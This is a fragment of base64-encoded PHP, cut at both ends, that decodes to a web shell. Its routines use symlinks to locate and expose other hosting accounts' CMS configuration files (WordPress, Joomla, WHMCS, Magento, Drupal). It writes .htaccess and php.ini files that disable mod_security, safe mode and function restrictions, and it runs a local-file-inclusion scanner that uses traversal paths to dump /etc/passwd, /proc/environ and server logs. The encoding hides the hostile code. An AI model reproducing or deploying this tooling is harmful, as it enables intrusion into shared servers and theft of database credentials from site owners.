AkZDBtYWluKXsNCiAgICAgICAgICAgICAgICBpZihAZXJlZ2koJ3pvbmUnLCRkMG1haW4pKXsNCiAgICAgICAgICAgICAgICAgICAgcHJlZ19tYXRjaF9hbGwoJyN6b25lICIoLiopIiMnLCRkMG1haW4sJGRvbWFpbik7DQogICAgICAgICAgICAgICAgICAgIGZsdXNoKCk7DQogICAgICAgICAgICAgICAgICAgIGlmKHN0cmxlbih0cmltKCRkb21haW5bMV1bMF0pKT4yKXsNCiAgICAgICAgICAgICAgICAgICAgICAgICR1c2VyID0gcG9zaXhfZ2V0cHd1aWQoQGZpbGVvd25lcignL2V0Yy92YWxpYXNlcy8nLiRkb21haW5bMV1bMF0pKTsNCg0KICAgICAgICAgICAgICAgICAgICAgICAgJGMxID0gJGJ1cmwuJy9Bbm9uR3V5X3N5bS9yb290L2hvbWUvJy4kdXNlclsnbmFtZSddLicvcHVibGljX2h0bWwvd3AtY29uZmlnLnBocCc7DQogICAgICAgICAgICAgICAgICAgICAgICAkY2gwMSA9IGdldF9oZWFkZXJzKCRjMSk7DQogICAgICAgICAgICAgICAgICAgICAgICAkY2YwMSA9ICRjaDAxWzBdOw0KICAgICAgICAgICAgICAgICAgICAgICAgJGMyID0gJGJ1cmwuJy9Bbm9uR3V5X3N5bS9yb290L2hvbWUvJy4kdXNlclsnbmFtZSddLicvcHVibGljX2h0bWwvYmxvZy93cC1jb25maWcucGhwJzsNCiAgICAgICAgICAgICAgICAgICAgICAgICRjaDAyID0gZ2V0X2hlYWRlcnMoJGMyKTsNCiAgICAgICAgICAgICAgICAgICAgICAgICRjZjAyID0gJGNoMDJbMF07DQogICAgICAgICAgICAgICAgICAgICAgICAkYzMgPSAkYnVybC4nL0Fub25HdXlfc3ltL3Jvb3QvaG9tZS8nLiR1c2VyWyduYW1lJ10uJy9wdWJsaWNfaHRtbC9jb25maWd1cmF0aW9uLnBocCc7DQogICAgICAgICAgICAgICAgICAgICAgICAkY2gwMyA9IGdldF9oZWFkZXJzKCRjMyk7DQogICAgICAgICAgICAgICAgICAgICAgICAkY2YwMyA9ICRjaDAzWzBdOw0KICAgICAgICAgICAgICAgICAgICAgICAgJGM0ID0gJGJ1cmwuJy9Bbm9uR3V5X3N5bS9yb290L2hvbWUvJy4kdXNlclsnbmFtZSddLicvcHVibGljX2h0bWwvam9vbWxhL2NvbmZpZ3VyYXRpb24ucGhwJzsNCiAgICAgICAgICAgICAgICAgICAgICAgICRjaDA0ID0gZ2V0X2hlYWRlcnMoJGM0KTsNCiAgICAgICAgICAgICAgICAgICAgICAgICRjZjA0ID0gJGNoMDRbMF07DQogICAgICAgICAgICAgICAgICAgICAgICAkYzUgPSAkYnVybC4nL0Fub25HdXlfc3ltL3Jvb3QvaG9tZS8nLiR1c2VyWyduYW1lJ10uJy9wdWJsaWNfaHRtbC9pbmNsdWRlcy9jb25maWcucGhwJzsNCiAgICAgICAgICAgICAgICAgICAgICAgICRjaDA1ID0gZ2V0X2hlYWRlcnMoJGM1KTsNCiAgICAgICAgICAgICAgICAgICAgICAgICRjZjA1ID0gJGNoMDVbMF07DQogICAgICAgICAgICAgICAgICAgICAgICAkYzYgPSAkYnVybC4nL0Fub25HdXlfc3ltL3Jvb3QvaG9tZS8nLiR1c2VyWyduYW1lJ10uJy9wdWJsaWNfaHRtbC92Yi9pbmNsdWRlcy9jb25maWcucGhwJzsNCiAgICAgICAgICAgICAgICAgICAgICAgICRjaDA2ID0gZ2V0X2hlYWRlcnMoJGM2KTsNCiAgICAgICAgICAgICAgICAgICAgICAgICRjZjA2ID0gJGNoMDZbMF07DQogICAgICAgICAgICAgICAgICAgICAgICAkYzcgPSAkYnVybC4nL0Fub25HdXlfc3ltL3Jvb3QvaG9tZS8nLiR1c2VyWyduYW1lJ10uJy9wdWJsaWNfaHRtbC9mb3J1bS9pbmNsdWRlcy9jb25maWcucGhwJzsNCiAgICAgICAgICAgICAgICAgICAgICAgICRjaDA3ID0gZ2V0X2hlYWRlcnMoJGM3KTsNCiAgICAgICAgICAgICAgICAgICAgICAgICRjZjA3ID0gJGNoMDdbMF07DQogICAgICAgICAgICAgICAgICAgICAgICAkYzggPSAkYnVybC4nL0Fub25HdXlfc3ltL3Jvb3QvaG9tZS8nLiR1c2VyWyduYW1lJ10uJ3B1YmxpY19odG1sL2NsaWVudHMvY29uZmlndXJhdGlvbi5waHAnOw0KICAgICAgICAgICAgICAgICAgICAgICAgJGNoMDggPSBnZXRfaGVhZGVycygkYzgpOw0KICAgICAgICAgICAgICAgICAgICAgICAgJGNmMDggPSAkY2gwOFswXTsNCiAgICAgICAgICAgICAgICAgICAgICAgICRjOSA9ICRidXJsLicvQW5vbkd1eV9zeW0vcm9vdC9ob21lLycuJHVzZXJbJ25hbWUnXS4nL3B1YmxpY19odG1sL3N1cHBvcnQvY29uZmlndXJhdGlvbi5waHAnOw0KICAgICAgICAgICAgICAgICAgICAgICAgJGNoMDkgPSBnZXRfaGVhZGVycygkYzkpOw0KICAgICAgICAgICAgICAgICAgICAgICAgJGNmMDkgPSAkY2gwOVswXTsNCiAgICAgICAgICAgICAgICAgICAgICAgICRjMTAgPSAkYnVybC4nL0Fub25HdXlfc3ltL3Jvb3QvaG9tZS8nLiR1c2VyWyduYW1lJ10uJy9wdWJsaWNfaHRtbC9jbGllbnQvY29uZmlndXJhdGlvbi5waHAnOw0KICAgICAgICAgICAgICAgICAgICAgICAgJGNoMTAgPSBnZXRfaGVhZGVycygkYzEwKTsNCiAgICAgICAgICAgICAgICAgICAgICAgICRjZjEwID0gJGNoMTBbMF07DQogICAgICAgICAgICAgICAgICAgICAgICAkYzExID0gJGJ1cmwuJy9Bbm9uR3V5X3N5bS9yb290L2hvbWUvJy4kdXNlclsnbmFtZSddLicvcHVibGljX2h0bWwvc3VibWl0dGlja2V0LnBocCc7DQogICAgICAgICAgICAgICAgICAgICAgICAkY2gxMSA9IGdldF9oZWFkZXJzKCRjMTEpOw0KICAgICAgICAgICAgICAgICAgICAgICAgJGNmMTEgPSAkY2gxMVswXTsNCiAgICAgICAgICAgICAgICAgICAgICAgICRjMTIgPSAkYnVybC4nL0Fub25HdXlfc3ltL3Jvb3QvaG9tZS8nLiR1c2VyWyduYW1lJ10uJy9wdWJsaWNfaHRtbC9jbGllbnQvY29uZmlndXJhdGlvbi5waHAnOw0KICAgICAgICAgICAgICAgICAgICAgICAgJGNoMTIgPSBnZXRfaGVhZGVycygkYzEyKTsNCiAgICAgICAgICAgICAgICAgICAgICAgICRjZjEyID0gJGNoMTJbMF07DQogICAgICAgICAgICAgICAgICAgICAgICAkYzEzID0gJGJ1cmwuJy9Bbm9uR3V5X3N5bS9yb290L2hvbWUvJy4kdXNlclsnbmFtZSddLicvcHVibGljX2h0bWwvaW5jbHVkZXMvY29uZmlndXJlLnBocCc7DQogICAgICAgICAgICAgICAgICAgICAgICAkY2gxMyA9IGdldF9oZWFkZXJzKCRjMTMpOw0KICAgICAgICAgICAgICAgICAgICAgICAgJGNmMTMgPSAkY2gxM1swXTsNCiAgICAgICAgICAgICAgICAgICAgICAgICRjMTQgPSAkYnVybC4nL0Fub25HdXlfc3ltL3Jvb3QvaG9tZS8nLiR1c2VyWyduYW1lJ10uJy9wdWJsaWNfaHRtbC9pbmNsdWRlL2FwcF9jb25maWcucGhwJzsNCiAgICAgICAgICAgICAgICAgICAgICAgICRjaDE0ID0gZ2V0X2hlYWRlcnMoJGMxNCk7DQogICAgICAgICAgICAgICAgICAgICAgICAkY2YxNCA9ICRjaDE0WzBdOw0KICAgICAgICAgICAgICAgICAgICAgICAgJGMxNSA9ICRidXJsLicvQW5vbkd1eV9zeW0vcm9vdC9ob21lLycuJHVzZXJbJ25hbWUnXS4nL3B1YmxpY19odG1sL3NpdGVzL2RlZmF1bHQvc2V0dGluZ3MucGhwJzsNCiAgICAgICAgICAgICAgICAgICAgICAgICRjaDE1ID0gZ2V0X2hlYWRlcnMoJGMxNSk7DQogICAgICAgICAgICAgICAgICAgICAgICAkY2YxNSA9ICRjaDE1WzBdOw0KICAgICAgICAgICAgICAgICAgICAgICAgDQogICAgICAgICAgICAgICAgICAgICAgICAkb3V0ID0gJyZuYnNwOyc7DQogICAgICAgICAgICAgICAgICAgICAgICBpZihzdHJwb3MoJGNmMDEsJzIwMCcpID09IHRydWUpICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgeyAgICRvdXQgPSAiPGEgaHJlZj0nIi4kYzEuIicgdGFyZ2V0PSdfYmxhbmsnPldvcmRwcmVzczwvYT4iOyAgIH0gDQogICAgICAgICAgICAgICAgICAgICAgICBlbHNlaWYoc3RycG9zKCRjZjAyLCcyMDAnKSA9PSB0cnVlKSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgeyAgICRvdXQgPSAiPGEgaHJlZj0nIi4kYzIuIicgdGFyZ2V0PSdfYmxhbmsnPldvcmRwcmVzczwvYT4iOyAgIH0NCiAgICAgICAgICAgICAgICAgICAgICAgIGVsc2VpZihzdHJwb3MoJGNmMDMsJzIwMCcpID09IHRydWUgJiYgc3RycG9zKCRjZjExLCcyMDAnKSA9PSB0cnVlKSB7ICAgJG91dCA9ICIgPGEgaHJlZj0nIi4kYzExLiInIHRhcmdldD0nX2JsYW5rJz5XSE1DUzwvYT4iOyAgICAgfQ0KICAgICAgICAgICAgICAgICAgICAgICAgZWxzZWlmKHN0cnBvcygkY2YwOSwnMjAwJykgPT0gdHJ1ZSkgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIHsgICAkb3V0ID0gIiA8YSBocmVmPSciLiRjOS4iJyB0YXJnZXQ9J19ibGFuayc+V0hNQ1M8L2E+IjsgICAgICB9DQogICAgICAgICAgICAgICAgICAgICAgICBlbHNlaWYoc3RycG9zKCRjZjEwLCcyMDAnKSA9PSB0cnVlKSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgeyAgICRvdXQgPSAiIDxhIGhyZWY9JyIuJGMxMC4iJyB0YXJnZXQ9J19ibGFuayc+V0hNQ1M8L2E+IjsgICAgIH0NCiAgICAgICAgICAgICAgICAgICAgICAgIGVsc2VpZihzdHJwb3MoJGNmMDMsJzIwMCcpID09IHRydWUpICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICB7ICAgJG91dCA9ICIgPGEgaHJlZj0nIi4kYzMuIicgdGFyZ2V0PSdfYmxhbmsnPkpvb21sYTwvYT4iOyAgICAgfQ0KICAgICAgICAgICAgICAgICAgICAgICAgZWxzZWlmKHN0cnBvcygkY2YwNCwnMjAwJykgPT0gdHJ1ZSkgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIHsgICAkb3V0ID0gIiA8YSBocmVmPSciLiRjNC4iJyB0YXJnZXQ9J19ibGFuayc+Sm9vbWxhPC9hPiI7ICAgICB9DQogICAgICAgICAgICAgICAgICAgICAgICBlbHNlaWYoc3RycG9zKCRjZjA1LCcyMDAnKSA9PSB0cnVlKSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgeyAgICRvdXQgPSAiIDxhIGhyZWY9JyIuJGM1LiInIHRhcmdldD0nX2JsYW5rJz52QnVsbGV0aW48L2E+IjsgIH0NCiAgICAgICAgICAgICAgICAgICAgICAgIGVsc2VpZihzdHJwb3MoJGNmMDYsJzIwMCcpID09IHRydWUpICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICB7ICAgJG91dCA9ICIgPGEgaHJlZj0nIi4kYzYuIicgdGFyZ2V0PSdfYmxhbmsnPnZCdWxsZXRpbjwvYT4iOyAgfQ0KICAgICAgICAgICAgICAgICAgICAgICAgZWxzZWlmKHN0cnBvcygkY2YwNywnMjAwJykgPT0gdHJ1ZSkgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIHsgICAkb3V0ID0gIiA8YSBocmVmPSciLiRjNy4iJyB0YXJnZXQ9J19ibGFuayc+dkJ1bGxldGluPC9hPiI7ICB9DQogICAgICAgICAgICAgICAgICAgICAgICBlbHNlaWYoc3RycG9zKCRjZjA4LCcyMDAnKSA9PSB0cnVlKSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgeyAgICRvdXQgPSAiIDxhIGhyZWY9JyIuJGM3LiInIHRhcmdldD0nX2JsYW5rJz5DbGllbnQgQXJlYTwvYT4iOyAgfQ0KICAgICAgICAgICAgICAgICAgICAgICAgZWxzZWlmKHN0cnBvcygkY2YxMiwnMjAwJykgPT0gdHJ1ZSkgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIHsgICAkb3V0ID0gIiA8YSBocmVmPSciLiRjNy4iJyB0YXJnZXQ9J19ibGFuayc+Q2xpZW50IEFyZWE8L2E+IjsgIH0NCiAgICAgICAgICAgICAgICAgICAgICAgIGVsc2VpZihzdHJwb3MoJGNmMTMsJzIwMCcpID09IHRydWUpICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICB7ICAgJG91dCA9ICIgPGEgaHJlZj0nIi4kYzcuIicgdGFyZ2V0PSdfYmxhbmsnPm9zQ29tbWVyY2UvWmVuIENhcnQ8L2E+IjsgIH0NCiAgICAgICAgICAgICAgICAgICAgICAgIGVsc2VpZihzdHJwb3MoJGNmMTQsJzIwMCcpID09IHRydWUpICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICB7ICAgJG91dCA9ICIgPGEgaHJlZj0nIi4kYzcuIicgdGFyZ2V0PSdfYmxhbmsnPk1hZ2VudG88L2E+IjsgIH0NCiAgICAgICAgICAgICAgICAgICAgICAgIGVsc2VpZihzdHJwb3MoJGNmMTUsJzIwMCcpID09IHRydWUpICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICB7ICAgJG91dCA9ICIgPGEgaHJlZj0nIi4kYzcuIicgdGFyZ2V0PSdfYmxhbmsnPkRydXBhbDwvYT4iOyAgfQ0KICAgICAgICAgICAgICAgICAgICAgICAgZWxzZSB7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgY29udGludWU7DQogICAgICAgICAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICAgICAgICAgICAgICBlY2hvICc8dHInLigkbD8nIGNsYXNzPWwxJzonJykuJz48dGQ+Jy4kY291bnQrKy4nPC90ZD48dGQ+PGEgaHJlZj1odHRwOi8vd3d3LicuJGRvbWFpblsxXVswXS4nLz4nLiRkb21haW5bMV1bMF0uJzwvYT48L3RkPjx0ZD4nLiR1c2VyWyduYW1lJ10uJzwvdGQ+PHRkPicuJG91dC4nPC90ZD48L3RyPic7DQogICAgICAgICAgICAgICAgICAgICAgICBmbHVzaCgpOw0KICAgICAgICAgICAgICAgICAgICAgICAgJGw9JGw/MDoxOw0KICAgICAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgfQ0KICAgICAgICAgICAgZWNobyAiPC90YWJsZT4iOw0KICAgICAgICB9DQogICAgICAgIGVjaG8gIjwvY2VudGVyPiI7ICAgDQogICAgfQ0KICAgIGVjaG8gIjwvZGl2PiI7DQogICAgcHJpbnRGb290ZXIoKTsNCn0gDQoNCmZ1bmN0aW9uIGFjdGlvbkJ5cGFzcygpIHsNCiAgICBwcmludEhlYWRlcigpOw0KICAgIGVjaG8gJzxoMT5TYWZlIE1vZGU8L2gxPic7DQogICAgZWNobyAnPGRpdiBjbGFzcz0iY29udGVudCI+JzsNCiAgICBlY2hvICI8ZGl2IGNsYXNzPWhlYWRlcj48Y2VudGVyPjxoMz48c3Bhbj58IFNBRkUgTU9ERSwgTU9EIFNFQ1VSSVRZIERJU0FCTEVEICYgUEVSTCA1MDAgKElOVEVSTkFMIEVSUk9SKSBCWVBBU1MgfDwvc3Bhbj48L2gzPkZvbGxvd2luZyBwaHAuaW5pIGFuZCAuaHRhY2Nlc3MobW9kKSBhbmQgcGVybCguaHRhY2Nlc3MpW2NvbnZlcnQgcGVybCBleHRlbnRpb24gKi5wbCA9PiAqLnNoICBdIGZpbGVzIGNyZWF0ZSBpbiBmb2xsb3dpbmcgZGlyPGJyPnwgIi4kR0xPQkFMU1snY3dkJ10uIiB8PGJyPjxiciAvPiI7DQogICAgZWNobyAnPGEgaHJlZj0jIG9uY2xpY2s9ImcobnVsbCxudWxsLFwncGhwLmluaVwnLG51bGwpIj58IFBIUC5JTkkgfCA8L2E+PGEgaHJlZj0jIG9uY2xpY2s9ImcobnVsbCxudWxsLG51bGwsXCdpbmlcJykiPnwgLmh0YWNjZXNzKE1vZCkgfCA8L2E+PGEgaHJlZj0jIG9uY2xpY2s9ImcobnVsbCxudWxsLG51bGwsbnVsbCxcJ3NoXCcpIj58IC5odGFjY2VzcyhwZXJsKSB8IDwvYT48L2NlbnRlcj4nOw0KICAgIGlmKCFlbXB0eSgkX1BPU1RbJ3AyJ10pICYmIGlzc2V0KCRfUE9TVFsncDInXSkpDQogICAgew0KICAgICAgICAkZmlsPWZvcGVuKCRHTE9CQUxTWydjd2QnXS4iLmh0YWNjZXNzIiwidyIpOw0KICAgICAgICBmd3JpdGUoJGZpbCwnPElmTW9kdWxlIG1vZF9zZWN1cml0eS5jPg0KICAgICAgICAgICAgU2VjLS0tLS0tRW5naW5lIE9mZg0KICAgICAgICAgICAgU2VjLS0tLS0tU2NhblBPU1QgT2ZmDQogICAgICAgICAgICA8L0lmTW9kdWxlPicpOw0KICAgICAgICBmY2xvc2UoJGZpbCk7DQogICB9DQogICBpZighZW1wdHkoJF9QT1NUWydwMSddKSYmIGlzc2V0KCRfUE9TVFsncDEnXSkpDQogICB7DQogICAgICAgICRmaWw9Zm9wZW4oJEdMT0JBTFNbJ2N3ZCddLiJwaHAuaW5pIiwidyIpOw0KICAgICAgICBmd3JpdGUoJGZpbCwnc2FmZV9tb2RlPU9GRg0KICAgICAgICAgICAgZGlzYWJsZV9mdW5jdGlvbnM9Tk9ORScpOw0KICAgICAgICBmY2xvc2UoJGZpbCk7DQogICAgfQ0KICAgIGlmKCFlbXB0eSgkX1BPU1RbJ3AzJ10pICYmIGlzc2V0KCRfUE9TVFsncDMnXSkpDQogICAgew0KICAgICAgICAkZmlsPWZvcGVuKCRHTE9CQUxTWydjd2QnXS4iLmh0YWNjZXNzIiwidyIpOw0KICAgICAgICBmd3JpdGUoJGZpbCwnT3B0aW9ucyBGb2xsb3dTeW1MaW5rcyBNdWx0aVZpZXdzIEluZGV4ZXMgRXhlY0NHSQ0KICAgICAgICBBZGRUeXBlIGFwcGxpY2F0aW9uL3gtaHR0cGQtY2dpIC5zaA0KICAgICAgICBBZGRIYW5kbGVyIGNnaS1zY3JpcHQgLnBsDQogICAgICAgIEFkZEhhbmRsZXIgY2dpLXNjcmlwdCAucGwnKTsNCiAgICAgICAgZmNsb3NlKCRmaWwpOyANCiAgICB9DQogICAgZWNobyAiPGJyPjxiciAvPjxiciAvPjwvZGl2PiI7DQogICAgZWNobyAnPC9kaXY+JzsNCiAgICBwcmludEZvb3RlcigpOw0KfQ0KZnVuY3Rpb24gYWN0aW9ubGZpc2NhbigpIHsNCiAgICAgICAgcHJpbnRIZWFkZXIoKTsNCiAgICAgICAgcHJpbnQgJw0KICAgICAgIDxoMz5MRkkgRmlsZSBTY2FubmVyICYgRHVtcGVyPC9oMz4NCiAgICAgDQogICAgICAgPGZvcm0gbWV0aG9kPSJwb3N0IiBhY3Rpb249Ij8iPjxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9ImEiIHZhbHVlPSJsZmlzY2FuIj4NCiAgICAgICAgICBMRkkgVVJMOiA8aW5wdXQgdHlwZT0idGV4dCIgc2l6ZT0iNjAiIG5hbWU9ImxmaXVybCIgdmFsdWU9IiI+IDxpbnB1dCB0eXBlPSJzdWJtaXQiIHZhbHVlPSJHbyI+IEZpbGU6IDxzZWxlY3QgbmFtZT0ic2NhbnR5cGUiPg0KICAgICAgICAgICAgIDxvcHRpb24gdmFsdWU9IjEiPg0KICAgICAgICAgICAgICAgIEFjY2VzcyBMb2cNCiAgICAgICAgICAgICA8L29wdGlvbj4NCiAgICAgDQogICAgICAgICAgICAgPG9wdGlvbiB2YWx1ZT0iMiI+DQogICAgICAgICAgICAgICAgaHR0cGQuY29uZg0KICAgICAgICAgICAgIDwvb3B0aW9uPg0KICAgICANCiAgICAgICAgICAgICA8b3B0aW9uIHZhbHVlPSIzIj4NCiAgICAgICAgICAgICAgICBFcnJvciBMb2cNCiAgICAgICAgICAgICA8L29wdGlvbj4NCiAgICAgICAgICAgICA8b3B0aW9uIHZhbHVlPSI0Ij4NCiAgICAgICAgICAgICAgICBwaHAuaW5pDQogICAgICAgICAgICAgPC9vcHRpb24+DQogICAgICAgICAgICAgPG9wdGlvbiB2YWx1ZT0iNSI+DQogICAgICAgICAgICAgICAgTXlTUUwNCiAgICAgICAgICAgICA8L29wdGlvbj4NCiAgICAgICAgICAgICA8b3B0aW9uIHZhbHVlPSI2Ij4NCiAgICAgICAgICAgICAgICBGVFANCiAgICAgICAgICAgICA8L29wdGlvbj4NCiAgICAgICAgICAgICA8b3B0aW9uIHZhbHVlPSI3Ij4NCiAgICAgICAgICAgICAgICBFbnZpcm9uDQogICAgICAgICAgICAgPC9vcHRpb24+DQogICAgICAgICAgPC9zZWxlY3Q+IE51bGw6IDxzZWxlY3QgbmFtZT0ibnVsbCI+DQogICAgICAgICAgICAgPG9wdGlvbiB2YWx1ZT0iJTAwIj4NCiAgICAgICAgICAgICAgICBZZXMNCiAgICAgICAgICAgICA8L29wdGlvbj4NCiAgICAgDQogICAgICAgICAgICAgPG9wdGlvbiB2YWx1ZT0iIj4NCiAgICAgICAgICAgICAgICBObw0KICAgICAgICAgICAgIDwvb3B0aW9uPg0KICAgICAgICAgIDwvc2VsZWN0PiBVc2VyLUFnZW50OiA8aW5wdXQgdHlwZT0idGV4dCIgc2l6ZT0iMjAiIG5hbWU9ImN1c3RvbV9oZWFkZXIiIHZhbHVlPSIiPg0KICAgICAgIDwvZm9ybT4nOw0KICAgICAgIGVycm9yX3JlcG9ydGluZygwKTsNCiAgICAgICAgICBpZigkX1BPU1RbJ2xmaXVybCddKSB7DQogICAgICAgICAgICAgcHJpbnQgIjxwcmU+IjsNCiAgICAgICAgICAgICAkY2hlYWRlciA9ICRfUE9TVFsnY3VzdG9tX2hlYWRlciddOw0KICAgICAgICAgICAgICR0YXJnZXQgPSAkX1BPU1RbJ2xmaXVybCddOw0KICAgICAgICAgICAgICR0eXBlID0gJF9QT1NUWydzY2FudHlwZSddOw0KICAgICAgICAgICAgICRieXRlMSA9ICRfUE9TVFsnbnVsbCddOw0KICAgICAgICAgICAgICRsZml0ZXN0ID0gIi4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uL2V0Yy9wYXNzd2QiLiRieXRlMS4iIjsNCiAgICAgICAgICAgICAkbGZpdGVzdDIgPSAiLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vZmFrZS9maWxlIi4kYnl0ZTEuIiI7DQogICAgICAgICAgICAgJGxmaXByb2NlbnYgPSAiLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vcHJvYy9lbnZpcm9uIi4kYnl0ZTEuIiI7DQogICAgICAgICAgICAgJGxmaWFjY2VzcyA9IGFycmF5KA0KICAgICAgICAgICAgICAgIDEgPT4gIi4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uL2FwYWNoZS9sb2dzL2FjY2Vzcy5sb2ciLiRieXRlMS4iIiwNCiAgICAgICAgICAgICAgICAyID0+ICIuLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi9ldGMvaHR0cGQvbG9ncy9hY2Nlc19sb2ciLiRieXRlMS4iIiwNCiAgICAgICAgICAgICAgICAzID0+ICIuLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi9ldGMvaHR0cGQvbG9ncy9hY2Nlcy5sb2ciLiRieXRlMS4iIiwNCiAgICAgICAgICAgICAgICA0ID0+ICIuLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi92YXIvd3d3L2xvZ3MvYWNjZXNzX2xvZyIuJGJ5dGUxLiIiLA0KICAgICAgICAgICAgICAgIDUgPT4gIi4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uL3Zhci93d3cvbG9ncy9hY2Nlc3MubG9nIi4kYnl0ZTEuIiIsDQogICAgICAgICAgICAgICAgNiA9PiAiLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vdXNyL2xvY2FsL2FwYWNoZS9sb2dzL2FjY2Vzc19sb2ciLiRieXRlMS4iIiwNCiAgICAgICAgICAgICAgICA3ID0+ICIuLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi91c3IvbG9jYWwvYXBhY2hlL2xvZ3MvYWNjZXNzLmxvZyIuJGJ5dGUxLiIiLA0KICAgICAgICAgICAgICAgIDggPT4gIi4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uL3Zhci9sb2cvYXBhY2hlL2FjY2Vzc19sb2ciLiRieXRlMS4iIiwNCiAgICAgICAgICAgICAgICA5ID0+ICIuLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi92YXIvbG9nL2FwYWNoZTIvYWNjZXNzX2xvZyIuJGJ5dGUxLiIiLA0KICAgICAgICAgICAgICAgIDEwID0+ICIuLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi92YXIvbG9nL2FwYWNoZS9hY2Nlc3MubG9nIi4kYnl0ZTEuIiIsDQogICAgICAgICAgICAgICAgMTEgPT4gIi4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uL3Zhci9sb2cvYXBhY2hlMi9hY2Nlc3MubG9nIi4kYnl0ZTEuIiIsDQogICAgICAgICAgICAgICAgMTIgPT4gIi4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uL3Zhci9sb2cvYWNjZXNzX2xvZyIuJGJ5dGUxLiIiLA0KICAgICAgICAgICAgICAgIDEzID0+ICIuLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi92YXIvbG9nL2FjY2Vzcy5sb2ciLiRieXRlMS4iIiwNCiAgICAgICAgICAgICAgICAxNCA9PiAiLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vdmFyL2xvZy9odHRwZC9hY2Nlc3NfbG9nIi4kYnl0ZTEuIiIsDQogICAgICAgICAgICAgICAgMTUgPT4gIi4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uL2FwYWNoZTIvbG9ncy9hY2Nlc3MubG9nIi4kYnl0ZTEuIiIsDQogICAgICAgICAgICAgICAgMTYgPT4gIi4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uL2xvZ3MvYWNjZXNzLmxvZyIuJGJ5dGUxLiIiLA0KICAgICAgICAgICAgICAgIDE3ID0+ICIuLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi91c3IvbG9jYWwvYXBhY2hlMi9sb2dzL2FjY2Vzc19sb2ciLiRieXRlMS4iIiwNCiAgICAgICAgICAgICAgICAxOCA9PiAiLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vdXNyL2xvY2FsL2FwYWNoZTIvbG9ncy9hY2Nlc3MubG9nIi4kYnl0ZTEuIiIsDQogICAgICAgICAgICAgICAgMTkgPT4gIi4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uL3Zhci9sb2cvaHR0cGQvYWNjZXNzLmxvZyIuJGJ5dGUxLiIiLA0KICAgICAgICAgICAgICAgIDIwID0+ICIuLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi9vcHQvbGFtcHAvbG9ncy9hY2Nlc3NfbG9nIi4kYnl0ZTEuIiIsDQogICAgICAgICAgICAgICAgMjEgPT4gIi4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uL29wdC94YW1wcC9sb2dzL2FjY2Vzc19sb2ciLiRieXRlMS4iIiwNCiAgICAgICAgICAgICAgICAyMiA9PiAiLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vb3B0L2xhbXBwL2xvZ3MvYWNjZXNzLmxvZyIuJGJ5dGUxLiIiLA0KICAgICAgICAgICAgICAgIDIzID0+ICIuLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi9vcHQveGFtcHAvbG9ncy9hY2Nlc3MubG9nIi4kYnl0ZTEuIiIpOw0KICAgICAgICAgICANCiAgICAgICAgICAgICAkbGZpZXJyb3IgPSBhcnJheSgNCiAgICAgICAgICAgICAgICAxID0+ICIuLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi9hcGFjaGUvbG9ncy9lcnJvci5sb2ciLiRieXRlMS4iIiwNCiAgICAgICAgICAgICAgICAyID0+ICIuLi8uLi8uLi8